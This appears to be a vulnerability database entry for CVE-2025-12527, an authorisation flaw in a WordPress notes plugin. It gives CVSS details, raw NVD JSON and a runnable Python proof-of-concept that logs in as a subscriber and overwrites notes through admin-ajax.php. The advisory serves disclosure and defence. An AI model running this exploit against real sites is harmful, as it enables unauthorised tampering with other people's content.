Security Vulnerability Report
中文
CVE-2025-12527 CVSS 4.3 MEDIUM

CVE-2025-12527

Published: 2025-11-07 06:15:33
Last Modified: 2026-04-15 00:35:42

Description

The Page & Post Notes plugin for WordPress is vulnerable to unauthorized modification of notes due to a missing capability check on the 'yydev_notes_save_dashboard_data' function in all versions up to, and including, 1.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify notes.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Page & Post Notes插件 <= 1.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12527 PoC - Page & Post Notes Plugin Authorization Bypass # Target: WordPress site with Page & Post Notes plugin <= 1.3.4 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'subscriber' password = sys.argv[3] if len(sys.argv) > 3 else 'password' # Login to WordPress session = requests.Session() login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target}/wp-admin/' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') sys.exit(1) print('[+] Login successful') # Exploit the vulnerability - modify notes without proper authorization ajax_url = f'{target}/wp-admin/admin-ajax.php' exploit_data = { 'action': 'yydev_notes_save_dashboard_data', 'post_id': '1', 'notes': 'Malicious content injected by attacker' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print('[+] Exploit sent successfully - Notes modified without proper authorization') print('[+] Any subscriber-level user can modify notes on any post/page') else: print('[-] Exploit failed')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12527", "sourceIdentifier": "[email protected]", "published": "2025-11-07T06:15:33.283", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Page & Post Notes plugin for WordPress is vulnerable to unauthorized modification of notes due to a missing capability check on the 'yydev_notes_save_dashboard_data' function in all versions up to, and including, 1.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify notes."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/page-post-notes/trunk/include/insert-to-db.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/page-post-notes/trunk/index.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3389236%40page-post-notes&new=3389236%40page-post-notes&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/93dadc33-cabf-4701-97ca-861ad90597fb?source=cve", "source": "[email protected]"}]}}